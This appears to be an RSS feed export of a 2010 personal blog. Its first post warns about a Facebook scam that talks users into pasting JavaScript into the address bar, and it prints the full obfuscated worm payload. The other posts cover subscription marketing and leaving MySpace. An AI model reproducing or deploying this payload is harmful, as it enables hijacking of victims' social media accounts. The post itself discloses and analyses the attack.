<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Infinity-Infinity</title>
	
	<link>http://infinity-infinity.com</link>
	<description>A blog and stuff.</description>
	<lastBuildDate>Tue, 01 Jun 2010 21:48:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/infinity-infinity" /><feedburner:info uri="infinity-infinity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Facebook Exploit … Social Engineering &amp; Javascript Injection</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/O1EmxWGcSe4/</link>
		<comments>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/#comments</comments>
		<pubDate>Sun, 30 May 2010 10:09:53 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Social Engineering]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=767</guid>
		<description><![CDATA[This morning I got an e-mail &#8230; the typical &#8220;[Person] suggested you like [Something]&#8221; from Facebook. Typically, this kind of stuff is SPAM; but I checked it out anyways. However, when I got to the page, I didn&#8217;t observe just spam; in fact, I observed a cunning exploitation which allows the page to run whatever [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F05%2Ffacebook-exploit-social-engineering-javascript-injection%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F05%2Ffacebook-exploit-social-engineering-javascript-injection%2F" height="61" width="51" /></a></div><p>This morning I got an e-mail &#8230; the typical &#8220;[Person] suggested you like [Something]&#8221; from <a href="http://facebook.com/">Facebook</a>. Typically, this kind of stuff is SPAM; but I checked it out anyways. However, when I got to the page, I didn&#8217;t observe just spam; in fact, I observed a cunning exploitation which allows the page to run whatever Javascript code it wishes. It uses a combination of social engineering to prompt the user to perform actions to get a &#8216;reward&#8217;. In the process, the user inadvertently executes Javascript code in their browser.</p>
<p>Watch <a href="http://www.youtube.com/watch?v=cAWSpl-QCOA">this video</a> I recorded to see it live in action:</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube-nocookie.com/v/cAWSpl-QCOA&#038;hl=en_GB&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/cAWSpl-QCOA&#038;hl=en_GB&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><span id="more-767"></span></p>
<p>In essence, this is how this exploit works:</p>
<ol>
<li>The user wishes to view a video, and so clicks a &#8216;View video&#8217; button</li>
<li>The user is told that to watch the video, they must perform some certain actions:
<ol>
<li>Click CTRL + C to copy some text</li>
<li>Click ALT + D to select the browser&#8217;s address bar.</li>
<li>Click CTRL + V, and then hit Enter.</li>
</ol>
</li>
</ol>
<p>And that&#8217;s it! The worm has been able to do pretty much whatever it wishes with the user&#8217;s Facebook page.</p>
<p>The code copied to the address bar was this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    a <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_jop'</span><span style="color: #339933;">;</span>
    b <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_jode'</span><span style="color: #339933;">;</span>
    ifc <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_ifc'</span><span style="color: #339933;">;</span>
    ifo <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_ifo'</span><span style="color: #339933;">;</span>
    mw <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_mwrapper'</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>p<span style="color: #339933;">,</span> a<span style="color: #339933;">,</span> c<span style="color: #339933;">,</span> k<span style="color: #339933;">,</span> e<span style="color: #339933;">,</span> r<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        e <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">&lt;</span> a <span style="color: #339933;">?</span> <span style="color: #3366CC;">''</span> <span style="color: #339933;">:</span> e<span style="color: #009900;">&#40;</span>parseInt<span style="color: #009900;">&#40;</span>c <span style="color: #339933;">/</span> a<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>c <span style="color: #339933;">=</span> c <span style="color: #339933;">%</span> a<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">35</span> <span style="color: #339933;">?</span> String.<span style="color: #660066;">fromCharCode</span><span style="color: #009900;">&#40;</span>c <span style="color: #339933;">+</span> <span style="color: #CC0000;">29</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> c.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">36</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #3366CC;">''</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^/</span><span style="color: #339933;">,</span> String<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>c<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span> r<span style="color: #009900;">&#91;</span>e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span> <span style="color: #339933;">||</span> e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            k <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000066; font-weight: bold;">return</span> r<span style="color: #009900;">&#91;</span>e<span style="color: #009900;">&#93;</span>
            <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
            e <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>w+'</span>
            <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
            c <span style="color: #339933;">=</span> <span style="color: #CC0000;">1</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>c<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> p <span style="color: #339933;">=</span> p.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">new</span> RegExp<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>b'</span> <span style="color: #339933;">+</span> e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>b'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'g'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">return</span> p
    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'J e=[&quot;<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>F<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>A&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>A<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>K<span style="color: #000099; font-weight: bold;">\\</span>A<span style="color: #000099; font-weight: bold;">\\</span>L<span style="color: #000099; font-weight: bold;">\\</span>t&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>M<span style="color: #000099; font-weight: bold;">\\</span>N<span style="color: #000099; font-weight: bold;">\\</span>G<span style="color: #000099; font-weight: bold;">\\</span>O&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>H<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>G<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>j&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>H&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>i&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>P<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>r&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>Q<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>R<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>S<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>z&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>F<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>T<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>o&quot;];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);'</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">62</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">69</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'|'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>I&#8217;m currently trying to work out what exactly this code is doing (without executing it). I will post an update when (and if) I figure it out; feel free to comment if you get there before me. I suspect it is a worm.</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/O1EmxWGcSe4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/</feedburner:origLink></item>
		<item>
		<title>Getting the sale: How MTW:ED increased subscriptions by 33%</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/RrA4_6P1Qvk/</link>
		<comments>http://infinity-infinity.com/2010/03/getting-the-sale-how-mtwed-increased-subscriptions-by-33/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 10:00:50 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Accessibility]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[google adwords]]></category>
		<category><![CDATA[mtw-ed]]></category>
		<category><![CDATA[navigation]]></category>
		<category><![CDATA[roi]]></category>
		<category><![CDATA[sales]]></category>
		<category><![CDATA[subscriptions]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=702</guid>
		<description><![CDATA[Last month I re-built and re-launched MTW:ED, a expiring domain name data web-service. In terms of the data that MTW:ED collects, nothing has changed. The aim of the re-make was simple: make it easier for both new and existing subscribers to see what MTW:ED does, access MTW:ED&#8217;s data and ultimately subscribe to the service. Since [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fgetting-the-sale-how-mtwed-increased-subscriptions-by-33%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fgetting-the-sale-how-mtwed-increased-subscriptions-by-33%2F" height="61" width="51" /></a></div><p>Last month I re-built and re-launched <a href="http://mtw-ed.com/">MTW:ED</a>, a expiring domain name <a href="http://www.anderson.ucla.edu/faculty/jason.frand/teacher/technologies/palace/datamining.htm">data</a> web-service. In terms of the data that MTW:ED collects, nothing has changed. The aim of the re-make was simple: make it easier for both new and existing subscribers to see what MTW:ED does, access MTW:ED&#8217;s data and ultimately subscribe to the service.<span id="more-702"></span></p>
<p>Since re-launching, I have seen MTW:ED&#8217;s subscription income increase by more than 33%, and it is anticipated that many more existing subscribers will renew their subscription. I wanted to share with you what I have done to increase sales, and give a comparison with the new and old website.</p>
<span id="Site_Design"><h3>Site Design</h3></span>
<p>The old version of MTW:ED was a bit confusing. The data was not presented well, and it was difficult to immediately grasp what MTW:ED did. This obviously presented some disadvantages in getting subscribers, as they didn&#8217;t exactly know what they were getting for their subscription fee.</p>
<p>The new MTW:ED has been re-designed with this problem in mind. We now have a dedicated homepage which explains exactly what we do. We understand that some users don&#8217;t like to read a lot of text, and there are often better ways to communicate. This is why we created a &#8216;welcome video&#8217;-style banner which gives users some key information (stats) and shows some screenshots of the site in use. You can see our video here:</p>
<p><object width="480" height="295"><param name="movie" value="http://www.youtube-nocookie.com/v/55t7S_RyIag&#038;hl=en_GB&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/55t7S_RyIag&#038;hl=en_GB&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object></p>
<p>The video isn&#8217;t the best in the world, but it does the trick. For your curiosity, the video was created using Adobe Premiere Pro CS4 and uses <a href="http://www.istockphoto.com/bbosh">stock audio from iStockPhoto</a>: <a href="http://www.istockphoto.com/file_closeup.php?id=8662709&#038;refnum=bbosh">Aspects (Loop A)</a>.</p>
<span id="Accessibility"><h3>Accessibility</h3></span>
<p>Another central consideration was to make it easy for visitors to see our sample data and use our sample search tool. We knew from the old site that the average subscriber visited 23 pages per visit. Our re-design increased this figure up to a surprising <strong style="font-size: 1.3em;">73 pages/visit</strong> (compared to 7 for all visitors), with each user spending <strong>30 minutes</strong> browsing before subscribing. This demonstrates that users who do subscribe like to know exactly what they are getting &#8212; even if it is just $4.99 per month, they like to know it is $4.99 well spent. In fact, one user spent 2 hours browsing before subscribing and another viewed 220 pages. <em>This</em> is how we did it:</p>
<p>Rather than treating subscription as a &#8216;subsidiary option&#8217;, we wanted to make it an integral part of the service. We wanted to devise a way of making users <em>flow</em> towards subscription, without forcing them to subscribe. We achieved this using our 3-step-tour-style navigational structure:</p>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2010/03/the_tour.png"><img src="http://infinity-infinity.com/wp-content/uploads/2010/03/the_tour.png" alt="" title="the_tour" width="501" height="38" class="aligncenter size-full wp-image-727" /></a></p>
<p>We broke-down what MTW:ED does into <a href="http://en.wikipedia.org/wiki/Rule_of_three_%28writing%29">3 fundamental stages</a>. We wanted to first show users the data we collected because it is important that they form their own opinion of our service before they bounce. We engaged users by giving them access to almost an entire years-worth of data. This allowed them to see MTW:ED from a subscriber&#8217;s point of view, only with 3-month-old data. Similarly, we invited them to perform searches on a reduced data set.</p>
<p>The final stage was really the most important. If a visitor ended up on this page, it meant they were probably about to subscribe &#8212; in fact, 32% of visitors viewing this page ended up subscribing.</p>
<span id="Subscription:_More_Choice"><h3>Subscription: More Choice</h3></span>
<p>Previously, subscription was priced at $9.99 per month for access to data and search tool. We recognised that many users only used the browse-list data (not the search tool), so for the re-make we decided to re-consider the subscription options available. Again utilizing the Rule of 3, we separated our functionality into 3 subscription packages:</p>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2010/03/subscription_options.png"><img src="http://infinity-infinity.com/wp-content/uploads/2010/03/subscription_options-300x219.png" alt="" title="subscription_options" width="300" height="219" class="aligncenter size-medium wp-image-733" /></a></p>
<p>Silver is comparable to the old MTW:ED monthly subscription. It costs $4.50 more as many more users will opt for the Bronze subscription option instead. Our subscription price now ranges between $4.99 and $49.99, depending on need. The observed benefits of using multiple subscription options are:</p>
<ol>
<li>We are able to target different &#8216;types&#8217; of people, and offer each group a more suitable package for their needs.</li>
<li>It gives the appearance that, for example, Bronze subscription is being &#8216;given away&#8217; as it is comparitevly much cheaper than Silver and Gold. This means users are more likely to subscribe because they are (or at least feel as if they are) taking a lesser risk.</li>
<li>It presents an opportunity for us to showcase concisely what MTW:ED offers, and provides an implied value to each of our features.</li>
</ol>
<span id="Advertising_with_Google_AdWords"><h3>Advertising with Google AdWords</h3></span>
<p>MTW:ED also created an advertising campaign with <a href="http://adwords.google.com/">Google AdWords</a>. Since MTW:ED serves a quite small and specific audience, many of our subscriptions come from users looking for us in search engines. Our natural search engine presence is enough for us to sustain the service, but we wanted to target more subscribers. Google AdWords is perfect because it allows us to &#8216;link up&#8217; to those very specific users looking for a service like ours.</p>
<p>Our campaign so far has been moderately successful. We are about breaking even in terms of cost against revenue, and will hopefully increase ROI by optimising in the near future.</p>
<p>The average Google-AdWords-referred visitor is viewing 14 pages before subscribing or leaving, with the best performing keywords at around 90. They are also spending an average of 5 minutes browsing; with the best keywords, around 20 minutes.</p>
<p>We will continue to look at these figures and decide which keywords are simply not getting conversions and remove them from our campaign.</p>
<span id="Now_it8217s_your_turn"><h3>Now, it&#8217;s your turn</h3></span>
<p>Okay: so I&#8217;ve done my bit of sharing. Now, it&#8217;s your turn: I want to hear what has worked for you, so please start a discussion by leaving a comment below.</p>
<p>Thanks,<br />
Brendon.</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/RrA4_6P1Qvk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/03/getting-the-sale-how-mtwed-increased-subscriptions-by-33/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2010/03/getting-the-sale-how-mtwed-increased-subscriptions-by-33/</feedburner:origLink></item>
		<item>
		<title>Leaving MySpace…</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/jpkPvN-OYos/</link>
		<comments>http://infinity-infinity.com/2010/03/leaving-myspace/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 14:28:05 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Accessibility]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[annoyance]]></category>
		<category><![CDATA[difficulty]]></category>
		<category><![CDATA[myspace]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=183</guid>
